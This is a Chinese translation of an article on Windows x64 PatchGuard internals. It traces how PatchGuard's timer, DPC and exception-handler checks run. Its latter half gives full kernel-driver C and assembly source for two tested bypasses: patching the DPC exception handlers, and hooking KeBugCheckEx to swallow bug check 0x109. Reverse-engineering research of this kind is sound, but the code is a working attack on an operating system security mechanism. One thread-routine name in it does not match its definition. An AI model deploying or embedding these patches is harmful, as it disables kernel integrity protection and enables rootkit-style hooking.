選中驗(yàn)證函數(shù)后,primary PG context就會(huì)被加密了。加密完成后,nt!KiInitializePatchGuard ()函數(shù)就會(huì)初始化一個(gè)timer,這個(gè)timer就會(huì)利用之前分配的那些sub-contexts。初始化這個(gè)timer的函數(shù)正是nt!KeInitializeTimer(),而傳遞給它的指向timer結(jié)構(gòu)體的指針的實(shí)參實(shí)際上是sub-context結(jié)構(gòu)體的一部分。初始化一結(jié)束,這個(gè)timer結(jié)構(gòu)體之后0x88處的值是0x1131(WORD)。經(jīng)過反匯編,這2個(gè)字節(jié)被傳遞給“xor [rcx], edx”指令。再看看nt!CmpAppendDllSection()函數(shù),你會(huì)發(fā)現(xiàn)它的第一條指令正好包含0x1131:
kd> u nt!CmpAppendDllSection l 1
nt!CmpAppendDllSection:
fffff800`041b513e 2e483111? ?? ???xor? ???qword ptr cs:[rcx],rdx? ? ? ? //第一條指令
kd> dw nt!CmpAppendDllSection l 2
fffff800`041b513e??482e 1131
現(xiàn)在還沒發(fā)現(xiàn)有什么用,也許后面會(huì)用到……
初始化timer結(jié)構(gòu)體后,PG就開始調(diào)用nt!PgInitializeTimer ()函數(shù)將timer加入隊(duì)列中,以等候處理。該函數(shù)的定義如下:
VOID PgInitializeTimer(
? ? IN PPATCHGUARD_CONTEXT Context,
? ? IN PVOID EncryptedContext,
? ? IN ULONG64 XorKey,
? ? IN ULONG UnknownZero);
nt!PgInitializeTimer ()這個(gè)函數(shù)做了一些比較奇怪的事。首先,初始化timer的DPC竟然是之前從primary PG context中隨機(jī)選取的驗(yàn)證函數(shù)(取名DeferredRoutine)。其中,有兩個(gè)實(shí)參會(huì)傳遞給DeferredRoutine()函數(shù):EncryptedContext指針和XorKey。DeferredRoutine()函數(shù)會(huì)將這兩個(gè)參數(shù)做XOR操作,從而產(chǎn)生一個(gè)徹頭徹尾的偽指針(completely bogus pointer)。這個(gè)偽指針又會(huì)被當(dāng)作DeferredContext實(shí)參傳遞給nt!KeInitializeDpc()函數(shù)。最終的偽代碼如下:
KeInitializeDpc(
? ? &Dpc,
? ? Context->TimerDpcRoutine,
? ? EncryptedContext ^ ~(XorKey << UnknownZero));
初始化DPC后,就是調(diào)用nt!KeSetTimer()函數(shù)將DPC加入隊(duì)列了。DPC的DueTime參數(shù)也是隨機(jī)產(chǎn)生的。設(shè)置好timer后,nt!PgInitializeTimer()函數(shù)就返回了。
到此時(shí),nt! KiInitializePatchGuard()函數(shù)就完成了它的使命,并返回到nt!KiFilterFiberContext ()函數(shù)中。那么這個(gè)除法錯(cuò)誤就得到了糾正且恢復(fù)執(zhí)行nt!KiDivide6432()函數(shù)中的div指令的下一條指令了。系統(tǒng)就可以正常啟動(dòng)了???。
然而到目前為止,工作才完成了一半???!接下來的問題是這個(gè)驗(yàn)證程序是如何被調(diào)用起來的。很明顯,這與DPC例程相關(guān)。我們知道這個(gè)驗(yàn)證程序是從primary PG context中隨機(jī)選取的,事實(shí)上定位這個(gè)函數(shù)指針數(shù)組的方法是反匯編nt! KiInitializePatchGuard()函數(shù):
nt!KiDivide6432+0xec3:
fffff800‘01423e74 8bc1 mov eax,ecx
fffff800‘01423e76 488d0d83c1bdff lea rcx,[nt]
fffff800‘01423e7d 488b84c128044300 mov rax,[rcx+rax*8+0x430428]
同樣,隱藏pool tag array數(shù)組所采用的技術(shù)與此相同。即nt基地址+0x430428即可得DPC函數(shù):
lkd> dqs nt+0x430428 L3
fffff800‘01430428 fffff800‘01033b10 nt!KiScanReadyQueues
fffff800‘01430430 fffff800‘011010e0 nt!ExpTimeRefreshDpcRoutine? ? ? ? //三個(gè)中,此易于理解
fffff800‘01430438 fffff800‘0101dd10 nt!ExpTimeZoneDpcRoutine
從以上信息只能推測(cè)出這些DPC函數(shù)的可能排列,但還沒有從本質(zhì)上說明如何引導(dǎo)這些驗(yàn)證context的函數(shù)執(zhí)行起來。
從邏輯上講,下一步是理解這些函數(shù)如何基于DeferredContext參數(shù)(從nt!PgInitializeTimer ()函數(shù)傳遞而來)進(jìn)行操作。這個(gè)DeferredContext就指向被加密關(guān)鍵字XOR過的PG context。以上三個(gè)函數(shù)中,就nt!ExpTimeRefreshDpcRoutine ()函數(shù)易于理解。nt!ExpTimeRefreshDpcRoutine ()函數(shù)的開始幾條反匯編指令如下:
lkd> u nt!ExpTimeRefreshDpcRoutine? ? ? ? //我的OS上的指令與之不同,保持與原文一致
nt!ExpTimeRefreshDpcRoutine:
fffff800‘011010e0 48894c2408 mov [rsp+0x8],rcx
fffff800‘011010e5 4883ec68 sub rsp,0x68
fffff800‘011010e9 b801000000 mov eax,0x1
fffff800‘011010ee 0fc102 xadd [rdx],eax
fffff800‘011010f1 ffc0 inc eax
fffff800‘011010f3 83f801 cmp eax,0x1
DeferredRoutine()函數(shù)的第一個(gè)參數(shù)是一個(gè)DPC指針,第二個(gè)參數(shù)是一個(gè)DeferredContext指針。根據(jù)x64函數(shù)調(diào)用約定,rcx保存的就相當(dāng)于是DPC指針,rdx保存的就相當(dāng)于是DeferredContext指針。但這會(huì)有一個(gè)問題???!這個(gè)函數(shù)的第4條指令試圖在DeferredContext的第一部分上執(zhí)行xadd指令。根據(jù)之前的介紹,傳遞給DPC例程的DeferredContext是一個(gè)徹頭徹尾的偽指針,這是不是就意味著反引用(de-reference)這個(gè)指針就會(huì)立即BSoD呢?顯然不是的,這就是另外一個(gè)通過觸發(fā)異常進(jìn)行間接引用(misdirection case)的杰作!
事實(shí)上,nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()和 nt!KiScanReadyQueues()函數(shù)都是相當(dāng)合法的,只是沒有直接做什么事情而已,而是間接地執(zhí)行了一些code。這三個(gè)函數(shù)所做的事就是反引用(de-reference)DeferredContext指針:
lkd> u fffff800‘01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800‘01033b43 8b02 mov eax,[rdx]
lkd> u fffff800‘0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800‘0101dd1e 0fc102 xadd [rdx],eax
一旦DeferredContext操作指針,就會(huì)產(chǎn)生一個(gè)一般保護(hù)異常(General Protection Fault),這個(gè)異常會(huì)傳遞給nt!KiGeneralProtectionFault()函數(shù)。這個(gè)函數(shù)最終會(huì)執(zhí)行異常處理函數(shù),這個(gè)異常處理函數(shù)與觸發(fā)這個(gè)錯(cuò)誤的函數(shù)(如nt!ExpTimeRefreshDpcRoutine())有關(guān)聯(lián)。在x64系統(tǒng)上,這個(gè)異常處理code與32-bit系統(tǒng)上的完全不同。這些函數(shù)并不是在運(yùn)行時(shí)注冊(cè)異常處理函數(shù)(exception handlers),而是在函數(shù)編譯的過程中就指定了異常處理函數(shù)。這樣做的好處是這些函數(shù)可以通過標(biāo)準(zhǔn)的API來查詢,如nt!RtlLookupFunctionEntry()。這個(gè)函數(shù)將查詢的目標(biāo)函數(shù)的信息存放在RUNTIME_FUNCTION結(jié)構(gòu)體中并返回之。要注意這個(gè)結(jié)構(gòu)體中還包含一些很重要的unwind信息。這個(gè)unwind信息中就包含了異常處理函數(shù)的地址。你可以通過以下方式來查看nt!ExpTimeRefreshDpcRoutine()函數(shù)的異常處理函數(shù):
lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000‘01cdaa4c for:
(fffff800‘011010e0) nt!ExpTimeRefreshDpcRoutine |
(fffff800‘011011d0) nt!ExpCenturyDpcRoutine
Exact matches:
nt!ExpTimeRefreshDpcRoutine = <no type information>
BeginAddress = 00000000‘001010e0
EndAddress = 00000000‘0010110d
UnwindInfoAddress = 00000000‘00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800‘01101120 8bc0 mov eax,eax
fffff800‘01101122 55 push rbp
fffff800‘01101123 4883ec30 sub rsp,0x30
fffff800‘01101127 488bea mov rbp,rdx
fffff800‘0110112a 48894d50 mov [rbp+0x50],rcx
仔細(xì)查看這個(gè)異常處理函數(shù)后,好像它在特定的條件下就會(huì)調(diào)用nt!KeBugCheckEx()函數(shù),且BSoD code是 0x109。當(dāng)你試圖篡改關(guān)鍵的結(jié)構(gòu)體時(shí),PG就會(huì)通過這個(gè)藍(lán)屏碼(0x109)來指示藍(lán)屏信息。
以上三個(gè)函數(shù)的異常處理函數(shù)相當(dāng)類似,且執(zhí)行的是相同的操作。如果DeferredContext沒有被修改過,則異常處理函數(shù)最終就會(huì)調(diào)用執(zhí)行備份在INITKDB節(jié)中的保護(hù)context的代碼,尤其是nt!FsRtlUninitializeSmallMcb ()函數(shù),這個(gè)函數(shù)就負(fù)責(zé)調(diào)用各個(gè)驗(yàn)證sub-context的函數(shù)。
3.5.? ? ? ? 報(bào)告驗(yàn)證不一致(Reporting Verification Inconsistencies)
PG檢測(cè)到關(guān)鍵結(jié)構(gòu)體被改變后,其就會(huì)調(diào)用nt!SdpCheckDll()函數(shù)(code-copy version是什么版本,不敢妄猜,反正是個(gè)函數(shù))。傳遞給這個(gè)函數(shù)的參數(shù)之后也會(huì)通過函數(shù)地址表(function table)傳遞給nt!KeBugCheckEx ()函數(shù)。這里的function table是存放在PG context中的。nt!SdpCheckDll()函數(shù)的作用是在跳轉(zhuǎn)到nt!KeBugCheckEx ()函數(shù)前將當(dāng)前幀(current frame)之前的所有寄存器和棧都清0(原文:The purpose of nt!SdbpCheckDll is to zero out the stack and all of the registers prior to the current frame before jumping to nt!KeBugCheckEx.)。這樣做的目的可能是防止第三方驅(qū)動(dòng)檢測(cè)并根據(jù)bug check report修復(fù)棧吧。如果檢測(cè)順利且沒有不一致的情況,則該函數(shù)會(huì)創(chuàng)建一個(gè)新的PG context并再次設(shè)置timer,使用的DPC函數(shù)就是第一次隨機(jī)選中的那個(gè)函數(shù)。

繞過64位windows系統(tǒng)的PatchGuard

了解了PG的大多數(shù)關(guān)鍵性的保護(hù)原理后,下一個(gè)目標(biāo)就是看是否有方法繞過PG了,主要是想方設(shè)法禁用或欺騙驗(yàn)證函數(shù)。你可以自己創(chuàng)建一個(gè)boot loader,讓它在PG初始化之前就運(yùn)行;也可以修改ntoskrnl.exe,以完全剔除PG初始化。本文采用的方法既不需要憑借入侵操作,也不要去重啟系統(tǒng)。事實(shí)上,最初的目標(biāo)是創(chuàng)建一個(gè)單獨(dú)的函數(shù),或幾個(gè)函數(shù),并采用某種方法將這個(gè)或這幾個(gè)函數(shù)拋給設(shè)備驅(qū)動(dòng)(device drivers),讓它們能夠調(diào)用一個(gè)函數(shù)以禁用PG的保護(hù)功能,這樣驅(qū)動(dòng)開發(fā)者依然可以使用現(xiàn)有的hook關(guān)鍵結(jié)構(gòu)體的方法進(jìn)行hook。
要注意本文所列舉的一些方法沒有經(jīng)過測(cè)試且只是理論上的方法,本文只介紹經(jīng)過測(cè)試的方法。在深入介紹這個(gè)特定的繞過PG的方法前,還需要考慮禁用正在運(yùn)行的(on the fly)PG的幾個(gè)技術(shù)。第一:驗(yàn)證函數(shù)是如何被調(diào)用起來的,且是依據(jù)什么來完成驗(yàn)證過程的。在這種情況下,驗(yàn)證函數(shù)是保存在一個(gè)timer的context中進(jìn)行運(yùn)行的,這個(gè)timer與一個(gè)DPC相關(guān)聯(lián),而這個(gè)DPC又是由一個(gè)系統(tǒng)工作線程(system worker thread)調(diào)用的。最終就會(huì)調(diào)用到異常處理函數(shù)。這個(gè)DPC例程就是從primary PG context中的一塊函數(shù)地址數(shù)組中隨機(jī)選擇來的,這個(gè)timer對(duì)象的超時(shí)值DueTime也是隨機(jī)產(chǎn)生的。如此種種都是為了增加被檢測(cè)的難度!
撇開這個(gè)驗(yàn)證函數(shù)不說,我們還知道當(dāng)PG檢測(cè)到關(guān)鍵結(jié)構(gòu)體不一致時(shí)會(huì)調(diào)用nt!KeBugCheckEx()函數(shù)(0x109)以讓系統(tǒng)藍(lán)屏。知道了這些小邊信息,繞過PG的思路就更寬了。
4.1.? ? ? ? Hooking異常處理函數(shù)(Exception Handler Hooking)
既然這個(gè)驗(yàn)證函數(shù)間接依賴這三個(gè)timer DPC例程的異常處理函數(shù)來執(zhí)行,那么改變每個(gè)異常處理函數(shù)以讓它們不做任何處理就變得合情合理了。也就是說即使DPC例程觸發(fā)了一般保護(hù)錯(cuò)誤異常(general protection fault),異常處理函數(shù)會(huì)被調(diào)用,但其不會(huì)做任何驗(yàn)證檢測(cè)。經(jīng)測(cè)試,這個(gè)方法有效(在當(dāng)前版本的PG)。
實(shí)現(xiàn)這個(gè)方法的第一步就是找到已知與PG相關(guān)聯(lián)的函數(shù)列表。直到今天,這個(gè)列表也只包含那三個(gè)函數(shù),但將來有可能不是。找到這個(gè)函數(shù)數(shù)組后,還需要找到每個(gè)函數(shù)的異常處理函數(shù),并修改每個(gè)異常處理函數(shù)以返回真(return 0x1)。這個(gè)方法的算法如下:
static CHAR CurrentFakePoolTagArray[] = "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"; //有空格

NTSTATUS DisablePatchGuard()
{? ?? ?? ?? ?
? ? UNICODE_STRING SymbolName;
? ? NTSTATUS Status = STATUS_SUCCESS;
? ? PVOID * DpcRoutines = NULL;
? ? PCHAR NtBaseAddress = NULL;
? ? ULONG Offset;
? ? RtlInitUnicodeString(
? ?? ???&SymbolName,
? ?? ???L"__C_specific_handler");
? ? do
? ? {
? ?? ???//
? ?? ???// Get the base address of nt
? ?? ???//
? ?? ???if (!RtlPcToFileHeader(
? ?? ?? ?? ?MmGetSystemRoutineAddress(&SymbolName),
? ?? ?? ?? ?(PCHAR *)&NtBaseAddress))
? ?? ???{
? ?? ?? ?? ?Status = STATUS_INVALID_IMAGE_FORMAT;
? ?? ?? ?? ?break;
? ?? ???}
? ?? ???
? ?? ???//
? ?? ???// Search the image to find the first occurrence of:
? ?? ???//
? ?? ???// "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
? ?? ???//
? ?? ???// This is the fake tag pool array that is used to allocate protection contexts.
? ?? ???//
? ?? ???__try
? ?? ???{
? ?? ?? ?? ?for (Offset = 0; !DpcRoutines;??Offset += 4)
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? //
? ?? ?? ?? ?? ? // If we find a match for the fake pool tag array, the DPC routine
? ?? ?? ?? ?? ? // addresses will immediately follow.
? ?? ?? ?? ?? ? //
? ?? ?? ?? ?? ? if (memcmp(
? ?? ?? ?? ?? ?? ???NtBaseAddress + Offset,
? ?? ?? ?? ?? ?? ???CurrentFakePoolTagArray,
? ?? ?? ?? ?? ?? ???sizeof(CurrentFakePoolTagArray) - 1) == 0)
? ?? ?? ?? ?? ? {
? ?? ?? ?? ?? ?? ???DpcRoutines = (PVOID *)(NtBaseAddress +
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?Offset + sizeof(CurrentFakePoolTagArray) + 3);
? ?? ?? ?? ?? ? }
? ?? ?? ?? ?}
? ?? ???}
? ?? ???__except(EXCEPTION_EXECUTE_HANDLER)
? ?? ???{
? ?? ?? ?? ?//
? ?? ?? ?? ?// If an exception occurs, we failed to find it. Time to bail out.
? ?? ?? ?? ?//
? ?? ?? ?? ?Status = GetExceptionCode();
? ?? ?? ?? ?break;
? ?? ???}
? ?? ???DebugPrint(("DPC routine array found at %p.",DpcRoutines));
? ?? ???//
? ?? ???// Walk the DPC routine array.
? ?? ???//
? ?? ???for (Offset = 0; DpcRoutines[Offset] && NT_SUCCESS(Status); Offset++)
? ?? ???{
? ?? ?? ?? ?PRUNTIME_FUNCTION Function;
? ?? ?? ?? ?ULONG64 ImageBase;
? ?? ?? ?? ?PCHAR UnwindBuffer;
? ?? ?? ?? ?UCHAR CodeCount;
? ?? ?? ?? ?ULONG HandlerOffset;
? ?? ?? ?? ?PCHAR HandlerAddress;
? ?? ?? ?? ?PVOID LockedAddress;
? ?? ?? ?? ?PMDL Mdl;
? ?? ?? ?? ?? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// If we find no function entry, then go on to the next entry.
? ?? ?? ?? ?//
? ?? ?? ?? ?if ((!(Function = RtlLookupFunctionEntry(
? ?? ?? ?? ?? ???(ULONG64)DpcRoutines[Offset],
? ?? ?? ?? ?? ???&ImageBase,
? ?? ?? ?? ?? ???NULL))) || (!Function->UnwindData))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? Status = STATUS_INVALID_IMAGE_FORMAT;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Grab the unwind exception handler address if we’re able to find one.
? ?? ?? ?? ?//
? ?? ?? ?? ?UnwindBuffer = (PCHAR)(ImageBase + Function->UnwindData);
? ?? ?? ?? ?CodeCount = UnwindBuffer[2];
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// The handler offset is found within the unwind data that is specific
? ?? ?? ?? ?// to the language in question. Specifically, it’s +0x10 bytes into
? ?? ?? ?? ?// the structure not including the UNWIND_INFO structure itself and any
? ?? ?? ?? ?// embedded codes (including padding). The calculation below accounts
? ?? ?? ?? ?// for all these and padding.
? ?? ?? ?? ?//
? ?? ?? ?? ?HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 +
? ?? ?? ?? ?? ?? ?? ?? ?? ???(CodeCount * 2) + 20) & ~3);
? ?? ?? ?? ?? ?? ???
? ?? ?? ?? ?//
? ?? ?? ?? ?// calculate the full address of the handler to patch.
? ?? ?? ?? ?//
? ?? ?? ?? ?HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);
? ?? ?? ?? ?DebugPrint(("Exception handler for %p found at %p (unwind %p).",
? ?? ?? ?? ?? ? DpcRoutines[Offset],
? ?? ?? ?? ?? ? HandlerAddress,
? ?? ?? ?? ?? ? UnwindBuffer));
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Finally, patch the routine to simply return with 1. We’ll patch with:
? ?? ?? ?? ?//
? ?? ?? ?? ?// 6A01 push byte 0x1
? ?? ?? ?? ?// 58 pop eax
? ?? ?? ?? ?// C3 ret
? ?? ?? ?? ?//
? ?? ?? ?? ?? ?? ???
? ?? ?? ?? ?//
? ?? ?? ?? ?// Allocate a memory descriptor for the handler’s address.
? ?? ?? ?? ?//
? ?? ?? ?? ?if (!(Mdl = MmCreateMdl( NULL, (PVOID)HandlerAddress, 4)))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? Status = STATUS_INSUFFICIENT_RESOURCES;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Construct the Mdl and map the pages for kernel-mode access.
? ?? ?? ?? ?//
? ?? ?? ?? ?MmBuildMdlForNonPagedPool(Mdl);
? ?? ?? ?? ?if (!(LockedAddress = MmMapLockedPages(Mdl, KernelMode)))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? IoFreeMdl(Mdl);
? ?? ?? ?? ?? ? Status = STATUS_ACCESS_VIOLATION;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Interlocked exchange the instructions we’re overwriting with.
? ?? ?? ?? ?//
? ?? ?? ?? ?InterlockedExchange((PLONG)LockedAddress, 0xc358016a);
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Unmap and destroy the MDL
? ?? ?? ?? ?//
? ?? ?? ?? ?MmUnmapLockedPages(LockedAddress,Mdl);
? ?? ?? ?? ?IoFreeMdl(Mdl);
? ?? ???} //for
? ? } while (0);
? ? return Status;
}
這個(gè)方法的優(yōu)點(diǎn)是其比較小且相對(duì)簡(jiǎn)單,容錯(cuò)能力也比較強(qiáng)。缺點(diǎn)是其要求pool tag數(shù)組剛好就在DPC函數(shù)地址數(shù)組之前且緊挨著,且尋找pool tag數(shù)組依賴于一個(gè)固定值,而微軟將來完全有可能消除該固定值。鑒于這些原因,在產(chǎn)品中最好不要使用該方法。
4.2.? ? ? ? Hooking KeBugCheckEx
PG保護(hù)無法避免的一個(gè)事實(shí)就是其必須以某種方法報(bào)告驗(yàn)證不一致。事實(shí)上,這個(gè)方法在檢測(cè)到打補(bǔ)丁的操作后,必須關(guān)閉系統(tǒng),以防止第三方廠商繼續(xù)運(yùn)行代碼。這種方法就是調(diào)用nt!KeBugCheckEx()函數(shù),bug check code就是之前的0x109。這里采用BSoD,而不是黑屏、直接關(guān)機(jī)或重啟系統(tǒng)的目的是讓用戶知道發(fā)生了什么。(微軟還是很厚道的~~~)
本文的作者想繞過這個(gè)技術(shù)的第一個(gè)想法就是讓nt!KeBugCheckEx()函數(shù)返回到調(diào)用者的調(diào)用幀(caller’s caller frame)中。這樣做是有必要的,在調(diào)用nt!KeBugCheckEx()函數(shù)后,因?yàn)榫幾g器立即插入了一個(gè)調(diào)試器陷阱(debugger trap),所以就不可能返回到調(diào)用者那里了,但還是有可能返回到調(diào)用者的調(diào)用幀中。舉個(gè)例:FuncA調(diào)用FuncB,FuncB觸發(fā)異常,導(dǎo)致nt!KeBugCheckEx()函數(shù)被調(diào)用,在不能回到FuncB的情況下,我們讓它回到FuncA的幀中(caller’s call frame)。但是,我們之前已說過,PG已經(jīng)將調(diào)用nt!KeBugCheckEx()函數(shù)之前的棧都清0了。因此,想hook nt!KeBugCheckEx()函數(shù)似乎是死路一條。恰恰相反,不是!(被作者嚇出一身冷汗???~~~)
由此衍生出一種方法,你不用擔(dān)心存儲(chǔ)在寄存器或棧上的context,而是利用“每個(gè)線程都會(huì)保留其自身的入口點(diǎn)地址”這個(gè)特征。對(duì)于系統(tǒng)工作線程(system worker threads),這個(gè)入口點(diǎn)通常就指向nt!ExpWorkerThread ()這樣的函數(shù)。因?yàn)橛卸鄠€(gè)系統(tǒng)工作線程都指向nt!ExpWorkerThread (),該如何是好?不用擔(dān)心。傳遞給這個(gè)函數(shù)的context參數(shù)與具體的線程不相干,因?yàn)橄到y(tǒng)工作線程只是用來處理工作項(xiàng)(work items)和超時(shí)的DPC例程。知道了這一點(diǎn),這個(gè)方法歸結(jié)起來,就是hook nt!KeBugCheckEx()函數(shù)并判斷bug check code是否是0x109。如果不是0x109,則直接調(diào)用原始的nt!KeBugCheckEx()函數(shù)。如果是0x109,則這個(gè)線程可以重啟,重啟的方法是修復(fù)這個(gè)調(diào)用線程的棧指針(當(dāng)前棧指針減0x8),然后跳轉(zhuǎn)到這個(gè)線程的StartAddress處。這樣做的結(jié)果是,線程繼續(xù)回去一如既往地處理work items和超時(shí)的DPC例程。
有個(gè)很明顯的方法就是簡(jiǎn)單地結(jié)束這個(gè)調(diào)用線程,但這樣做是不可能的。因?yàn)镺S會(huì)持續(xù)跟蹤系統(tǒng)工作線程并檢測(cè)其中是否有退出的。系統(tǒng)工作線程的退出會(huì)導(dǎo)致系統(tǒng)BSoD。Hook nt!KeBugCheckEx()函數(shù)的算法如下:
== ext.asm==============
.data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC
.code
;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
mov [rsp+8h], rcx
mov [rsp+10h], rdx
mov [rsp+18h], r8
lea rax, [OrigKeBugCheckExRestorePointer]
jmp qword ptr [rax]
OrigKeBugCheckEx ENDP
END

== antipatch.c===========
//
// Both of these routines reference the assembly code described
// above
//
extern VOID OrigKeBugCheckEx(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4);
extern VOID AdjustStackCallPointer(
IN ULONG_PTR NewStackPointer,
IN PVOID StartAddress,
IN PVOID Argument);
//
// mov eax, ptr
// jmp eax
//
static CHAR HookStub[] =
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
//
// The offset into the ETHREAD structure that holds the start routine.
//
static ULONG ThreadStartRoutineOffset = 0;
//
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//
PVOID OrigKeBugCheckExRestorePointer;
VOID KeBugCheckExHook(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4)
{
PUCHAR LockedAddress;
PCHAR ReturnAddress;
PMDL Mdl = NULL;
//
// Call the real KeBugCheckEx if this isn’t the bug check code we’re looking
// for.
//
if (BugCheckCode != 0x109)
{
DebugPrint(("Passing through bug check %.4x to %p.",
BugCheckCode,
OrigKeBugCheckEx));
OrigKeBugCheckEx(
BugCheckCode,
BugCheckParameter1,
BugCheckParameter2,
BugCheckParameter3,
BugCheckParameter4);
}
else
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
PVOID StackPointer = IoGetInitialStack();
DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",
PsGetCurrentThread(),
StartRoutine,
StackPointer,
ThreadStartRoutineOffset));
//
// Shift the stack pointer back to its initial value and call the routine. We
// subtract eight to ensure that the stack is aligned properly as thread
// entry point routines would expect.
//
AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
//
// In either case, we should never get here.
//
__debugbreak();
}
VOID DisablePatchProtectionSystemThreadRoutine(
IN PVOID Nothing)
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PUCHAR LockedAddress;
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
PCHAR KeBugCheckExSymbol;
PMDL Mdl = NULL;
RtlInitUnicodeString(
&SymbolName,
L"KeBugCheckEx");
do
{
//
// Find the thread’s start routine offset.
//
for (ThreadStartRoutineOffset = 0;
ThreadStartRoutineOffset < 0x1000;
ThreadStartRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread +
ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
break;
}
DebugPrint(("Thread start routine offset is 0x%.4x.",
ThreadStartRoutineOffset));
//
// If we failed to find the start routine offset for some strange reason,
// then return not supported.
//
if (ThreadStartRoutineOffset >= 0x1000)
{
Status = STATUS_NOT_SUPPORTED;
break;
}
//
// Get the address of KeBugCheckEx.
//
if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
{
Status = STATUS_PROCEDURE_NOT_FOUND;
break;
}
//
// Calculate the restoration pointer.
//
OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);
//
// Create an initialize the MDL.
//
if (!(Mdl = MmCreateMdl(
NULL,
(PVOID)KeBugCheckExSymbol,
0xf)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
MmBuildMdlForNonPagedPool(
Mdl);
//
// Probe & Lock.
//
if (!(LockedAddress = (PUCHAR)MmMapLockedPages(
Mdl,
KernelMode)))
{
IoFreeMdl(
Mdl);
Status = STATUS_ACCESS_VIOLATION;
break;
}
//
// Set the aboslute address to our hook.
//
*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",
LockedAddress,
HookStub,
KeBugCheckExSymbol));
//
// Copy the relative jmp into the hook routine.
//
RtlCopyMemory(
LockedAddress,
HookStub,
0xf);
//
// Cleanup the MDL.
//
MmUnmapLockedPages(
LockedAddress,
Mdl);
IoFreeMdl(
Mdl);
} while (0);
}
//
// A pointer to KeBugCheckExHook
//
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(
&Attributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
//
// Create the system worker thread so that we can automatically find the
// offset inside the ETHREAD structure to the thread’s start routine.
//
Status = PsCreateSystemThread(
&ThreadHandle,
THREAD_ALL_ACCESS,
&Attributes,
NULL,
NULL,
DisablePatchProtectionSystemThreadRoutine,
NULL);
if (ThreadHandle)
ZwClose(
ThreadHandle);
return Status;
}
該方法經(jīng)測(cè)試,可以有效繞過目前版本的PG。這個(gè)方法的優(yōu)點(diǎn)是其不依賴任何非導(dǎo)出的依存關(guān)系或標(biāo)識(shí)(un-exported dependencies或者signatures),在性能上是零損失的,因?yàn)閚t!KeBugCheckEx()函數(shù)從不會(huì)調(diào)用,除非系統(tǒng)崩潰了,并且其也不會(huì)受到競(jìng)爭(zhēng)條件的限制。唯一的缺點(diǎn)是期取決于系統(tǒng)工作線程的行為,以及在恢復(fù)線程的入口點(diǎn)后再執(zhí)行時(shí),如果傳入的是一個(gè)NULL context,這個(gè)安全性無法確認(rèn)。目前認(rèn)為是安全的。
要使這個(gè)方法失效,微軟要做幾件事:
第一,可能創(chuàng)建一個(gè)新的保護(hù)sub-context以存放nt!KeBugCheckEx()函數(shù)和其要調(diào)用的那個(gè)函數(shù)(應(yīng)該是異常處理函數(shù))的checksum。在微軟檢測(cè)到nt!KeBugCheckEx()函數(shù)被修改后,可能需要做一次hard reboot(冷啟動(dòng)?),且不調(diào)用任何外部函數(shù)。微軟要解決這個(gè)問題的方法不多。然而,任何依賴調(diào)用地址確定的外部函數(shù)的方法都會(huì)給類似本文的繞過技術(shù)以可乘之機(jī)~~~
